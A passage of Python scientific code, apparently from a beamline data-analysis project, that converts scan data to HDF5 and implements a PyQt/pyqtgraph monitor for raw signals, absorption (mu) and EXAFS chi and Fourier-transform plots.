WHERE id=?" for row2 in cursor.execute(qu, params2): region_name = row2['name'] SRdict[region_name] = {} for k2 in row2.keys(): if k2 not in exclude_keys: if row2[k2] not in exclude_values: SRdict[region_name].update({k2: row2[k2]}) except sqlite3.OperationalError: # there might be no such table for certain scan types pass query_params = (idx2,) qu_sr = f"""SELECT name, energy, lowerBound, upperBound FROM AMRegionOfInterest_table, {table2}_regionsOfInterest WHERE AMRegionOfInterest_table.id={table2}_regionsOfInterest.id2 AND {table2}_regionsOfInterest.id1=?""" try: cursor.execute(qu_sr, query_params) rows1 = cursor.fetchall() for row1 in rows1: lineName = row1['name'] ELdict[lineName] = {'energy': row1['energy'], 'lowerBound': row1['lowerBound'], 'upperBound': row1['upperBound']} except sqlite3.OperationalError: # there might be no such table for certain scan types pass h5FileName = f"{row['name']}_{row['number']}.hdf5" try: os.makedirs(outputDir) except FileExistsError: pass with h5py.File(os.path.join(outputDir, h5FileName), 'w') as h5file: print(f"Converting {cdfPath} to {h5FileName}") nxentry = h5file.create_group(u'scan') with pycdf.CDF(cdfPath) as cdf: for ikey, key in enumerate(cdf.keys()): # if ikey == 0: # print("Total counts in channel 1:", np.sum(np.array(cdf[key]))) if len(cdf[key]) > 0: nxentry.create_dataset(key, data=np.array(cdf[key])) if key in DCdict.keys(): print("Found dark currents for ", key) sliceStart = 1 if len(cdf['ScalerDwellTimeFeedback']) > len(cdf[key]) else 0 nxentry.create_dataset( "{}_darkCorrected".format(key), data=np.array(cdf[key]) - (DCdict[key][0]*DCdict[key][1] * np.array(cdf['ScalerDwellTimeFeedback']))[sliceStart:]) # nxentry.create_dataset( # "{}_darkCorrection".format(key), # data=DCdict[key][0] * DCdict[key][1] * # np.array(cdf['ScalerDwellTimeFeedback'])) nxentry.attrs.create("start_time", np.string_(f"{row['dateTime']}")) nxentry.attrs.create("end_time", np.string_(f"{row['endDateTime']}")) if AMsession: for sk in AMsession: nxentry.attrs.create(sk.encode('utf-8'), np.string_(f"{AMsession[sk]}")) dcentry = h5file.create_group(u'dark_currents') for dc_key, dc_value in DCdict.items(): dcentry.create_dataset(dc_key, data=np.array(dc_value)) roientry = h5file.create_group(u'ROIs') for roi_key, roi_value in ROIdict.items(): roientry.create_dataset(roi_key, data=np.array(roi_value)) bcall = h5file.create_group(u'beamline_configuration') for bc_key, bc_value in BCdict.items(): bcentry = bcall.create_group(f'{bc_key}') for ck, cv in bc_value.items(): if isinstance(cv, str): cv = cv.encode('utf-8') bcentry.create_dataset(ck.encode('utf-8'), data=np.array(cv,)) if SRdict: scanregions = h5file.create_group(u'scan_regions') for sr_key, sr_value in SRdict.items(): srentry = scanregions.create_group(f'{sr_key}') for rk, rv in sr_value.items(): if isinstance(rv, str): rv = rv.encode('utf-8') srentry.create_dataset(rk.encode('utf-8'), data=np.array(rv, )) if ELdict: emissionLines = h5file.create_group(u'emission_lines') for el_key, el_value in ELdict.items(): elgrp = emissionLines.create_group(el_key) for elval_key, elval_val in el_value.items(): elgrp.create_dataset(elval_key, data=np.array(elval_val)) # print(cdf.keys()) # print(DCdict) # print(ROIdict) ``` AcquamanHDFExplorer.py ```# -*- coding: utf-8 -*- """ Created on Apr 26. Modified by chernir on Jan 22 2020 @author: konkle """ import time import os import re from functools import partial import json import itertools import numpy as np from scipy.optimize import curve_fit from scipy.interpolate import LSQUnivariateSpline, interp2d from scipy.ndimage import gaussian_filter1d from scipy.integrate import simps import pyqtgraph as pg from pyqtgraph.Qt import QtCore, QtGui import h5py import matplotlib as mpl from matplotlib.figure import Figure mpl.use('Qt5Agg') from matplotlib.backends.backend_qt5agg import ( FigureCanvas, NavigationToolbar2QT as NavigationToolbar) from matplotlib.widgets import SpanSelector pg.setConfigOptions(antialias=False) from acquamanDataFormats import dataFormats from lmfit import Model, models from matplotlib import pyplot as plt isTest = True needFY = True allAtOnce = True FRAME_CHUNK_GENERAL = 1 FRAME_CHUNK_MU = 20 FRAME_CHUNK_EXAFS = 50 DETECTOR_NCHANNELS = 1 #DETECTOR_SUM_STR = 'BioXASMainOutboardDetector' #DETECTOR_PIX_STR = 'BioXASMainOutboardDetectorRawSpectrum{}' #ROOTPATH = r"X:\bioxas-m\AcquamanMainData\users" ROOTPATH = "" FLUOBIN = 10 MAX_DETECTORS = 2 ch = 12398.419297617678 # c*h[eV*A] eV2revA = 0.2624682843 # 2m_e(eV)/(hbar(eVs)c(ร…/s))^2 LABELS_TR = ['aem', 'current'] LABELS_FY = ['lima', 'roi', 'fy', 'fluo'] SIGNAL_KIND_UNKNOWN, SIGNAL_KIND_TR, SIGNAL_KIND_FY = range(3) COLOR_LIME = '#BFFF00' COLOR_ORCHID = '#DA70D6' COLOR_GRAY = '#888888' COLOR_DEFAULT = COLOR_GRAY colorCycleT = ['#ff0000', '#00ff00', '#00ffff', '#ffff00', '#0000ff', '#ff00ff', '#ffffff', '#aaaaaa'] colorCycleF = ['#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd', '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf'] labelStyle = {'color': '#AAA', 'font-size': '10pt'} PEN_WIDTH = 1. """ To pass configs: door = taurus.Attribute('Balder/Door/01) door.get_property("my_variable") after door.put_property("my_variable") """ class DataReceiver(QtCore.QObject): msgClear = QtCore.pyqtSignal() msgMoveable = QtCore.pyqtSignal(list) msgCounters = QtCore.pyqtSignal(list) msgRepeats = QtCore.pyqtSignal(list) msgHintE0 = QtCore.pyqtSignal(list) msgRawData = QtCore.pyqtSignal(list) msgMuData = QtCore.pyqtSignal(list) def __init__(self): QtCore.QObject.__init__(self) if isTest: # self.testTimer = QtCore.QTimer() # self.testTimer.setSingleShot(True) # self.testTimer.timeout.connect(self.test_random_listener) # self.testTimer.timeout.connect(self.test_data_listener) # self.testTimer.timeout.connect(self.test_data_listener_FY) # self.testTimer.start(1000) self.door = None else: import taurus self.door = taurus.Device('Balder/Door/01') dp = taurus.Attribute('Balder/Door/01/RecordData') dp.addListener(self.listener) def listener(self, evt_src, evt_type, evt_value): if evt_type != 0: return # print(evt_src, evt_type, evt_value) try: dataJSON = json.loads(evt_value.rvalue[1])['data'] if 'ref_moveables' in dataJSON: # print(dataJSON) self.msgClear.emit() moveable = dataJSON['ref_moveables'][0] column_desc = dataJSON['column_desc'] # column_desc[0]: Pt No # column_desc[1]: moveable # column_desc[2]: timer # column_desc[3:-1]: counters # column_desc[-1]: dt movMin = column_desc[1]['min_value'] movMax = column_desc[1]['max_value'] if 'energy' in moveable: unit = 'eV' elif moveable.endswith(('_rol', '_yaw')): # mirrors unit = 'mrad' elif moveable.endswith(('rol', 'yaw')): # crystals unit = u'ยตrad' elif moveable.endswith(('_x', '_y', '_z')): unit = 'mm' else: unit = '' self.msgMoveable.emit([moveable, unit, movMin, movMax]) self.moveable = moveable allCounters = list(dataJSON['counters']) counters, labels, units = [], [], [] kinds, locations, colors = [], [], [] iTR, iFY = 0, 0 for cd, c in zip(column_desc[3:], allCounters): cond = cd['conditioning'].lower() kind = SIGNAL_KIND_UNKNOWN color = COLOR_DEFAULT for label in LABELS_TR: if label in c or label in cond: kind = SIGNAL_KIND_TR iTR += 1 color = colorCycleT[(iTR-1) % len(colorCycleT)] break for label in LABELS_FY: # print(label, cond) if label in c or label in cond: kind = SIGNAL_KIND_FY iFY += 1 color = colorCycleF[(iFY-1) % len(colorCycleF)] # print("found fy") break if 'skip' in cond or 'hid' in cond: continue # can't be right after 'for' for right color isRight = 'right' in cond if isRight and kind == SIGNAL_KIND_TR: loc = 2 elif not isRight and kind == SIGNAL_KIND_FY: loc = 3 elif isRight and kind == SIGNAL_KIND_FY: loc = 4 else: loc = 1 unit = u'A' if 'aem' in c else 'counts' label = cd['label'] counters.append(c) labels.append(label) units.append(unit) kinds.append(kind) locations.append(loc) colors.append(color) self.counters = counters self.locations = locations self.msgCounters.emit([labels, units, locations, colors]) serialNo = dataJSON['serialno'] repeat, repeats = None, None try: if self.door is not None: repeat = self.door.get_property('repeat')['repeat'] # a list of str # noqa if repeat != []: repeat = repeat[0] repeats = self.door.get_property('repeats')['repeats'] if repeats != []: repeats = repeats[0] except IndexError: pass self.msgRepeats.emit([serialNo, repeat, repeats]) try: hintE0 = self.door.get_property('hintE0')['hintE0'] # a list of str # noqa if hintE0 != []: self.msgHintE0.emit( [float(hintE0[0]), float(hintE0[1])]) except: # noqa pass else: data = [dataJSON[d] for d in [self.moveable] + self.counters] for i, c in enumerate(self.counters): if 'aem' in c: data[i+1] *= 1e-3 # ind 0 is moveable self.msgRawData.emit(data) if 'energy' in self.moveable: i0 = data[1] + data[2] try: muTData = np.log(i0 / data[3]) except: # noqa muTData = 0. muData = [data[0], muTData] for d, loc in zip(data[1:], self.locations): if loc in [2, 3]: try: muFData = d / i0 except: # noqa muFData = 0. muData.append(muFData) self.msgMuData.emit(muData) # 1st is T except: # noqa pass def test_random_listener(self): self.msgClear.emit() # moveable = 'mot_dummy' moveable = 'energy' movMin = 6000 movMax = 7000 self.msgMoveable.emit([moveable, 'eV', movMin, movMax]) counters = ['aem01.ch1', 'aem01.ch2', 'aem01.ch3', 'ch1_roi1', 'ch2_roi1'] # counters = ['aem01.ch1', 'aem01.ch2', 'aem01.ch3', 'aem01.ch4'] # 1: T-left, 2: T-right, 3: F-left, 4: F-right :: locations = [1, 1, 2, 3, 3] # locations = [1, 1, 2, 2] units = [u'A' if 'aem' in c else 'counts' for c in counters] colors = colorCycleT[0:3] + colorCycleF[0:2] self.msgCounters.emit([counters, units, locations, colors]) self.msgRepeats.emit([None, 2, 3]) xs = np.linspace(movMin, movMax, 300) for x in xs: data = [x] data += [np.random.random()*1e-5 for d in counters[:3]] data += [1e4 + np.random.random()*1e3 for d in counters[3:]] data[3] *= 2 I0 = data[1] + data[2] try: muDataT = np.log(I0 / data[3]) except: # noqa muDataT = 0 try: muDataF1 = data[4] / I0 except: # noqa muDataF1 = 0 try: muDataF2 = data[5] / I0 except: # noqa muDataF2 = 0 self.msgRawData.emit(data) if 'energy' in moveable: self.msgMuData.emit([x, muDataT, muDataF1, muDataF2]) time.sleep(0.01) def test_data_listener(self): fileNames = ['test_data/Cu_004.cur'] # fileNames = ['test_data/CuO_fly1.cur'] for iFile, fileName in enumerate(fileNames): self.msgClear.emit() e, i0, i1 = np.loadtxt( fileName, skiprows=1, unpack=True, usecols=(0, 1, 2)) i0 *= 1e-3 i1 *= 1e-3 moveable = 'energy' movMin = e.min() movMax = e.max() self.msgMoveable.emit([moveable, 'eV', movMin, movMax]) counters = ['i0', 'i1'] # 1: T-left, 2: T-right, 3: F-left, 4: F-right :: locations = [1, 2] units = [u'A', u'A'] colors = colorCycleT[0:2] self.msgCounters.emit([counters, units, locations, colors]) self.msgRepeats.emit([None, iFile+1, len(fileNames)]) print("started") t0 = time.time() for eRun, i0Run, i1Run in zip(e, i0, i1): data = [eRun, i0Run, i1Run] try: muDataT = np.log(data[1]/data[2]) except: # noqa muDataT = 0 self.msgRawData.emit(data) self.msgMuData.emit([eRun, muDataT]) time.sleep(0.002) print("finished in {0} s".format(time.time()-t0)) def test_data_listener_FY(self): # fileNames = ['test_data/S90T3_spot6_010.dat'] # fileNames = [r"G:\hdf5\JG_slac_Ask_exafs_13k_3_1.hdf5", # r"G:\hdf5\JG_slac_Ask_exafs_13k_3_2.hdf5", # r"G:\hdf5\JG_slac_Ask_exafs_13k_3_3.hdf5"] fileNames = [r"D:\BioXAS\George\JG_slac_Ask_exafs_13k_1.h5"] for iFile, fileName in enumerate(fileNames): self.msgClear.emit() # e, ch1, ch2, ch3, ch4 = np.loadtxt( # fileName, unpack=True, usecols=(1, 3, 4, 5, 6)) f = h5py.File(fileName, 'r') scanGroup = f['scan'] e = np.array(scanGroup['AxisValues::BioXASEnergyControl']) # e = np.array(scanGroup['EnergyFeedback']) Feedback values not monotonic ch1 = np.array(scanGroup['I0Detector_darkCorrected']) ch2 = np.array(scanGroup['I1Detector_darkCorrected']) ch3 = np.array(scanGroup['I2Detector_darkCorrected']) ch4 = np.sum(scanGroup['BioXASMainOutboardDetector'][:,950:1200], axis=1) moveable = 'energy' movMin = e.min() movMax = e.max() self.msgMoveable.emit([moveable, 'eV', movMin, movMax]) counters = ['ch1', 'ch2', 'ch3', 'ch4'] locations = [1, 1, 1, 3] units = [u'counts', u'counts', u'counts', u'counts'] colors = colorCycleT[0:3] + colorCycleF[0:1] self.msgCounters.emit([counters, units, locations, colors]) self.msgRepeats.emit([None, iFile+1, len(fileNames)]) # self.msgHintE0.emit([7112-50, 7112+50]) self.msgHintE0.emit([11867-50, 11867+50]) print("started") t0 = time.time() if allAtOnce: data = [e, ch1, ch2, ch3, ch4] i0 = ch1 try: muDataT = np.log(i0/ch2) except: # noqa muDataT = 0 self.msgRawData.emit(data) try: muDataF = ch4 / i0 except: # noqa muDataF = 0 self.msgMuData.emit([e, muDataT, muDataF]) else: for eRun, ch1Run, ch2Run, ch3Run, ch4Run in zip( e, ch1, ch2, ch3, ch4): data = [eRun, ch1Run, ch2Run, ch3Run, ch4Run] i0 = ch1Run + ch2Run try: muDataT = np.log(i0/ch3Run) except: # noqa muDataT = 0 self.msgRawData.emit(data) try: muDataF = ch4Run / i0 except: # noqa muDataF = 0 self.msgMuData.emit([eRun, muDataT, muDataF]) time.sleep(0.002) print("finished in {0} s".format(time.time()-t0)) def hdf_data_listener(self, inplist): fileNames, edge, e, ch1, ch2, ch3, ch4list = inplist self.msgClear.emit() moveable = 'energy' movMin = e.min() movMax = e.max() self.msgMoveable.emit([moveable, 'eV', movMin, movMax]) counters = ['ch1', 'ch2', 'ch3', 'ch4'] locations = [1, 1, 1, 3] units = [u'counts', u'counts', u'counts', u'counts'] colors = colorCycleT[0:3] + colorCycleF[0:1] self.msgCounters.emit([counters, units, locations, colors]) self.msgRepeats.emit([fileNames[0], 1, len(fileNames)]) # self.msgHintE0.emit([7112-50, 7112+50]) self.msgHintE0.emit([edge-50, edge+50]) data = [e, ch1, ch2, ch3, ch4list[0]] i0 = ch1 try: muDataT = np.log(i0/ch2) except: # noqa muDataT = 0 self.msgRawData.emit(data) try: muDataF = ch4list[0] / i0 except: # noqa muDataF = 0 self.msgMuData.emit([e, muDataT, muDataF]) time.sleep(0.002) class EXAFS_Extractor(QtCore.QObject): """With some modifications, largely taken from github.com/vadmu/EXAFS_Monitor """ msgReady = QtCore.pyqtSignal(list) def __init__(self): super(EXAFS_Extractor, self).__init__() self.pre1 = -150 self.pre2 = -50 self.post1 = 50 self.r = np.arange(0.0, 6.0, 0.02) self.hintE0 = [] def prepare(self, lst): self.e, self.muT, self.muFs = lst def victoreenMod(self, e, c, d): f = ch / e return c*f**-3 + d*f def e0(self, e, mu=None, precalcDeriv=None): try: if precalcDeriv is not None: if self.hintE0: cond = (e >= self.hintE0[0]) & (e <= self.hintE0[1]) indD = np.argmax(cond) deriv = precalcDeriv[cond] testE = e[cond] else: deriv = precalcDeriv testE = e indD = 0 ind = np.argmax(deriv) return ind + indD, testE[ind], deriv[ind] else: if self.hintE0: cond = (e >= self.hintE0[0]) & (e <= self.hintE0[1]) indD = np.argmax(cond) testMu = mu[cond] testE = e[cond] else: testMu = mu testE = e indD = 0 deriv = np.gradient(testMu) / np.gradient(testE) deriv = gaussian_filter1d(deriv, 3) ind = np.argmax(deriv) return ind + indD, testE[ind], deriv[ind] except (IndexError, ValueError): return def pre_edge(self, e, ie0, mu): try: idx1, idx2 = \ np.searchsorted(e, [e[ie0]+self.pre1, e[ie0]+self.pre2]) popt, pcov = \ curve_fit(self.victoreenMod, e[idx1:idx2+1], mu[idx1:idx2+1]) return self.victoreenMod(e, popt[0], popt[1]) except TypeError: return def k(self, e, mu): rese0 = self.e0(self.e, mu) if rese0 is None: return ie0 = rese0[0] k = np.sqrt(eV2revA * (e[ie0:]-e[ie0])) kmin_idx = np.searchsorted(e, e[ie0]+self.post1) - ie0 if kmin_idx > len(k) - 2: return return ie0, k, kmin_idx def chi(self, e, ie0, mu, pre, k, kmin_idx, kw=2): # k starts from e0 fun_fit = (mu[ie0:] - pre[ie0:]) * k**kw n_knots = int(2.0 * (k.max()-k.min()) / np.pi) + 1 knots = np.linspace(k[kmin_idx], k[-2], n_knots) # print(k, fun_fit, knots) # print(np.diff(k)) spl = LSQUnivariateSpline(k, fun_fit, knots) post = spl(k[kmin_idx:]) / k[kmin_idx:]**kw edge_step = post[0] chi = (mu - pre)[ie0:] - edge_step chi[kmin_idx:] += edge_step - post chi /= edge_step # ============================================================================= # import matplotlib.pylab as plt # # plt.plot(e, mu) # # plt.plot(e, pre) # # plt.plot(e, mu-pre) # # plt.axvline(e[ie0], color='g') # # plt.plot(e[ie0+kmin_idx:], post) # # plt.axhline(edge_step, color='g') # plt.plot(e[ie0:], chi) # plt.show() # # raise here # ============================================================================= # return gaussian_filter1d(chi*k*k, 3) return chi*k*k def hann_win(self, k, kmin, kmax, dk): win = np.ones_like(k) win[k <= kmin] = 0 cond = (kmin < k) & (k < kmin+dk) win[cond] = 0.5*(1 - np.cos(np.pi*(k[cond]-kmin)/dk)) cond = (kmax-dk < k) & (k < kmax) win[cond] = 0.5*(1 - np.cos(np.pi*(kmax-k[cond])/dk)) win[k >= kmax] = 0 return win def make_ft(self, k, chi, win): ft_re = simps(np.cos(2.0*k*self.r[:, np.newaxis])*chi*win, k) ft_im = simps(np.sin(2.0*k*self.r[:, np.newaxis])*chi*win, k) ft_mag = (1.0/np.pi * np.abs(ft_re**2 + ft_im**2))**0.5 return ft_mag def calculate(self): xax = np.copy(self.e) diffTest = np.diff(xax) <= 0 if any(diffTest): xax[np.where(diffTest)] -= 1e-3 try: mu = self.muT kres = self.k(xax, mu) if kres is None: self.terminate() return ie0, k, kmin_idx = kres pre_edge = self.pre_edge(xax, ie0, mu) if pre_edge is None: self.terminate() return chi = self.chi(xax, ie0, mu, pre_edge, k, kmin_idx) winFT = self.hann_win(k, 2., max(k), 1.0) ft = self.make_ft(k, chi, winFT) ks = [k] chis = [chi] fts = [ft] except ValueError: ks = [] chis = [] fts = [] try: for mu in self.muFs: kres = self.k(xax, mu) if kres is None: self.terminate() return ie0, k, kmin_idx = kres # print(ie0, k, kmin_idx) pre_edge = self.pre_edge(xax, ie0, mu) if pre_edge is None: self.terminate() return pre_edge[:] *= 0 # print(pre_edge) chi = self.chi(xax, ie0, mu, pre_edge, k, kmin_idx) winFT = self.hann_win(k, 2., max(k), 1.0) ft = self.make_ft(k, chi, winFT) ks.append(k) chis.append(chi) fts.append(ft) res = [ks, chis, fts, winFT] except (TypeError, IndexError, ValueError): raise res = [] self.terminate(res) def terminate(self, res=[]): self.thread().terminate() self.msgReady.emit(res) def common_substring(sa, sb, isReversed=False): """finds the longest common substring of sa and sb""" def _iter(): for a, b in zip(sa[::-1] if isReversed else sa, sb[::-1] if isReversed else sb): if a == b: yield a else: return res = ''.join(_iter()) return res[::-1] if isReversed else res def intervals_extract(iterable): iterable = sorted(set(iterable)) for key, gr in itertools.groupby( enumerate(iterable), lambda t: int(t[1])-int(t[0])): gr = list(gr) yield [gr[0][1], gr[-1][1]] def make_int_ranges(iterable): """examples: a = ['2', '3', '4', '5', '7', '8', '9', '11', '15', '16', '17', '18'] print(make_int_ranges(a)) -> "[2..5, 7..9, 11, 15..18]" a = ['03', '02', '04', '05'] print(make_int_ranges(a)) -> "[02..05]" """ ranges = list(intervals_extract(iterable)) aslist = ["{0[0]}..{0[1]}".format(r) if r[0] < r[1] else "{0[0]}".format(r) for r in ranges] return "[{}]".format(', '.join(aslist)) class MonitorWidget(QtGui.QWidget): mesRequestEXAFS = QtCore.pyqtSignal(list) def __init__(self, parent=None): super(MonitorWidget, self).__init__(parent) self.app = QtCore.QCoreApplication.instance() # pg.setConfigOption('background', # self.palette().color(QtGui.QPalette.Background)) # pg.setConfigOption('background', '#444444') self.font = QtGui.QFont() self.font.setPixelSize(15) self.threadEXAFS = QtCore.QThread() self.exafs_extractor = EXAFS_Extractor() self.exafs_extractor.moveToThread(self.threadEXAFS) self.exafs_extractor.msgReady.connect(self.setEXAFSdata) self.threadEXAFS.started.connect(self.exafs_extractor.calculate) self.setClear() labelScanNo = QtGui.QLabel('Scan name') self.scanNo = QtGui.QLabel('not set') self.pointsReceived = QtGui.QLabel(': none points received') self.coordinates = QtGui.QLabel() self.coordinates.setFont(self.font) self.repeatsBox = QtGui.QWidget() labelRepeatNo = QtGui.QLabel('Repeat') self.repeatNo = QtGui.QLabel(r'<i> not set <\i>') labelRepeats = QtGui.QLabel('of') self.repeats = QtGui.QLabel(r'<i> not set <\i>') repeatsLayout = QtGui.QHBoxLayout() repeatsLayout.setContentsMargins(0, 0, 0, 0) repeatsLayout.addWidget(labelRepeatNo) repeatsLayout.addWidget(self.repeatNo) repeatsLayout.addWidget(labelRepeats) repeatsLayout.addWidget(self.repeats) self.repeatsBox.setLayout(repeatsLayout) self.repeatsBox.setVisible(False) headerLayout = QtGui.QHBoxLayout() headerLayout.setContentsMargins(0, 0, 0, 0) headerLayout.addWidget(labelScanNo) headerLayout.addWidget(self.scanNo) # headerLayout.addWidget(self.pointsReceived) headerLayout.addStretch() headerLayout.addWidget(self.coordinates) headerLayout.addStretch() headerLayout.addWidget(self.repeatsBox) self.tabWidget = QtGui.QTabWidget(parent=self) self.tabWidget.setStyleSheet("font-weight: bold") self.tabRaw = pg.GraphicsLayoutWidget() self.plotI = self.tabRaw.addPlot() self.plotI.hideButtons() self.plotI.vb.setMouseEnabled(x=True, y=False) # self.plotI.showGrid(y=True) # create right axis # From pyqtgraph/examples/MultiplePlotAxes.py self.plotIR = pg.ViewBox() self.plotIR.setMouseEnabled(x=True, y=False) self.plotI.showAxis('right') self.plotI.scene().addItem(self.plotIR) self.plotI.getAxis('right').linkToView(self.plotIR) self.plotIR.setXLink(self.plotI) self._updateTwinViews(self.plotI, self.plotIR) self.plotI.vb.sigResized.connect( partial(self._updateTwinViews, self.plotI, self.plotIR)) if needFY: self.tabRaw.nextRow() self.plotFY = self.tabRaw.addPlot() self.plotFY.hideButtons() self.plotFY.vb.setMouseEnabled(x=True, y=False) self.plotFY.setXLink(self.plotI) # create right axis # From pyqtgraph/examples/MultiplePlotAxes.py self.plotFYR = pg.ViewBox() self.plotFYR.setMouseEnabled(x=True, y=False) self.plotFY.showAxis('right') self.plotFY.scene().addItem(self.plotFYR) self.plotFY.getAxis('right').linkToView(self.plotFYR) self.plotFYR.setXLink(self.plotFY) self._updateTwinViews(self.plotFY, self.plotFYR) self.plotFY.vb.sigResized.connect( partial(self._updateTwinViews, self.plotFY, self.plotFYR)) self.curvesI = [] self.curvesIR = [] self.curvesFY = [] self.curvesFYR = [] self.tabWidget.addTab(self.tabRaw, 'Raw signals') self.tabMu = pg.GraphicsLayoutWidget() self.plotMuT = self.tabMu.addPlot() self.plotMuT.hideButtons() self.plotMuT.getAxis('bottom').setLabel('energy (eV)', **labelStyle) labelStyleL = dict(labelStyle) labelStyleL['color'] = COLOR_LIME self.plotMuT.getAxis('left').setLabel( r'ยตd <i>in transmission<\i>', **labelStyleL) if needFY: self.tabMu.nextRow() self.plotMuF = self.tabMu.addPlot() self.plotMuF.hideButtons() self.plotMuF.setXLink(self.plotMuT) self.plotMuF.getAxis('bottom').setLabel( 'energy (eV)', **labelStyle) labelMuF = r'ยตd <i>in FY<\i>' self.plotMuF.getAxis('left').setLabel(labelMuF, **labelStyle) self.plotMuF.getAxis('right').setLabel(' ', **labelStyle) self.plotMuF.getAxis('right').setVisible(True) # create right axis (derivative of mu). # From pyqtgraph/examples/MultiplePlotAxes.py self.plotMuTP = pg.ViewBox() self.plotMuT.showAxis('right') self.plotMuT.scene().addItem(self.plotMuTP) self.plotMuT.getAxis('right').linkToView(self.plotMuTP) self.plotMuTP.setXLink(self.plotMuT) labelStyleO = dict(labelStyle) labelStyleO['color'] = COLOR_ORCHID self.plotMuT.getAxis('right').setLabel(u"(ยตd)'", **labelStyleO) self._updateTwinViews(self.plotMuT, self.plotMuTP) self.plotMuT.vb.sigResized.connect( partial(self._updateTwinViews, self.plotMuT, self.plotMuTP)) self.curvesMuT = [] self.curvesMuF = [] self.curvesMuTP = [] self.tabWidget.addTab(self.tabMu, u'ยตd') self.tabChi = pg.GraphicsLayoutWidget() self.plotChi = self.tabChi.addPlot() self.plotChi.hideButtons() self.plotChi.getAxis('bottom').setLabel( u'k (ร…'+u"\u207B"+u'ยน)', **labelStyle) self.plotChi.getAxis('left').setLabel( u'ฯ‡ยทkยฒ (ร…'+u"\u207B"+u'ยฒ)', **labelStyle) self.tabChi.nextRow() self.plotFT = self.tabChi.addPlot() self.plotFT.hideButtons() self.plotFT.getAxis('bottom').setLabel(u'r (ร…)', **labelStyle) self.plotFT.getAxis('left').setLabel( u'|FT[ฯ‡ยทkยฒ]| (ร…'+u"\u207B"+u'ยณ)', **labelStyle) self.curvesChi = [] self.curvesFT = [] self.tabWidget.addTab(self.tabChi, 'EXAFS ') self.cbEXAFSTr = QtGui.QCheckBox('Tr') self.cbEXAFSFY = QtGui.QCheckBox('FY') self.cbBoxEXAFS = QtGui.QWidget() cbLayout = QtGui.QHBoxLayout() cbLayout.setContentsMargins(0, 0, 0, 0) cbLayout.addWidget(self.cbEXAFSTr) cbLayout.addWidget(self.cbEXAFSFY) self.cbBoxEXAFS.setLayout(cbLayout) self.tabWidget.tabBar().setTabButton( self.tabWidget.tabBar().count()-1, QtGui.QTabBar.RightSide, self.cbBoxEXAFS) self.cbEXAFSTr.stateChanged.connect(self.updatePlots) self.cbEXAFSFY.stateChanged.connect(self.updatePlots) self.cbEXAFSTr.setChecked(True) if needFY: self.cbEXAFSFY.setChecked(True) mainLayout = QtGui.QVBoxLayout() mainLayout.addLayout(headerLayout) mainLayout.addWidget(self.tabWidget) self.setLayout(mainLayout) self.setMinimumWidth(500) self.setMinimumHeight(500) self.resize(800, 800) plots = [self.plotI, self.plotFY, self.plotMuT, self.plotMuF, self.plotChi, self.plotFT] if needFY else\ [self.plotI, self.plotMuT, self.plotChi, self.plotFT] for plot in plots: pg.SignalProxy(plot.scene().sigMouseMoved, rateLimit=60, slot=partial(self.mouseMoved, plot)) plot.scene().sigMouseMoved.connect(partial(self.mouseMoved, plot)) self.textE0 = pg.TextItem("", anchor=(1.1, 1), color=COLOR_ORCHID) self.arrowE0 = pg.ArrowItem(angle=-90, brush='#00FFFF', pen='#00FFFF') self.plotMuTP.addItem(self.textE0) self.plotMuTP.addItem(self.arrowE0) self.tabWidget.setCurrentIndex(0) self.tabWidget.currentChanged.connect(self.updatePlots) self.dataReceiver = DataReceiver() self.dataReceiver.msgClear.connect(self.setClear) self.dataReceiver.msgMoveable.connect(self.setMoveable) self.dataReceiver.msgCounters.connect(self.setCounters) self.dataReceiver.msgRepeats.connect(self.setRepeats) self.dataReceiver.msgHintE0.connect(self.setHintE0) self.dataReceiver.msgRawData.connect(self.setRawData) self.dataReceiver.msgMuData.connect(self.setMuData) def mouseMoved(self, plot, evt): vb = plot.vb try: if plot.sceneBoundingRect().contains(evt): mousePoint = vb.mapSceneToView(evt) self.coordinates.setText('x={0:.7g}, y={1:.7g}'.format( mousePoint.x(), mousePoint.y())) except: # noqa pass def _updateTwinViews(self, plotLeft, plotRight): # view has resized; update auxiliary views to match plotRight.setGeometry(plotLeft.vb.sceneBoundingRect()) plotRight.linkedViewChanged(plotLeft.vb, plotRight.XAxis) def setClear(self): self.isFYenabled = False self.nPointsReceived = 0 self.counters, self.locations = [], [] self.emu = [] self.muT = [] self.muFs = [] self.moveableValue = [] self.counterValues = [] self.chi = [] self.ft = [] self.chiFs = [] self.ftFs = [] self.setHintE0() def setMoveable(self, lst): self.moveable, unit, movMin, movMax = lst self.isXAFSenabled = 'energy' in self.moveable.lower() self.tabWidget.setTabEnabled(1, self.isXAFSenabled) self.tabWidget.setTabEnabled(2, self.isXAFSenabled) if not self.isXAFSenabled: self.tabWidget.setCurrentIndex(0) label = self.moveable + '{0}'.format(' ('+unit+')' if unit else '') # if use 'units' kwarg of axis: pg adds a prefix to it and scales data self.plotI.getAxis('bottom').setLabel(label, **labelStyle) if needFY: self.plotFY.getAxis('bottom').setLabel(label, **labelStyle) self.plotI.setRange(xRange=[movMin, movMax]) self.plotI.vb.setLimits(xMin=movMin, xMax=movMax, yMin=None, yMax=None) self.plotIR.setLimits(xMin=movMin, xMax=movMax) if needFY: self.plotFY.setRange(xRange=[movMin, movMax]) self.plotFY.vb.setLimits(xMin=movMin, xMax=movMax) self.plotFYR.setLimits(xMin=movMin, xMax=movMax) if self.isXAFSenabled: self.plotMuT.setRange(xRange=[movMin, movMax]) self.plotMuT.vb.setLimits(xMin=movMin, xMax=movMax) self.plotMuTP.setRange(xRange=[movMin, movMax]) if needFY: self.plotMuF.setRange(xRange=[movMin, movMax]) self.plotMuF.vb.setLimits(xMin=movMin, xMax=movMax) r = self.exafs_extractor.r self.plotChi.vb.setLimits(xMin=0) self.plotFT.setRange(xRange=[r.min(), r.max()]) self.plotFT.vb.setLimits(xMin=r.min(), xMax=r.max(), yMin=0) def setCounters(self, lst): """ lst = counters, units, locations, colors """ self.counters, units, self.locations, colors = lst csTL = [c for c, loc in zip(self.counters, self.locations) if loc == 1] clTL = [c for c, loc in zip(colors, self.locations) if loc == 1] uTL = [u for u, loc in zip(units, self.locations) if loc == 1] labelTL = self.makeAxisLabel(csTL) self.plotI.getAxis('left').setLabel( labelTL, units=uTL[0], **labelStyle) csTR = [c for c, loc in zip(self.counters, self.locations) if loc == 2] clTR = [c for c, loc in zip(colors, self.locations) if loc == 2] uTR = [u for u, loc in zip(units, self.locations) if loc == 2] if csTR: self.plotI.getAxis('right').setVisible(True) labelTR = self.makeAxisLabel(csTR) self.plotI.getAxis('right').setLabel( labelTR, 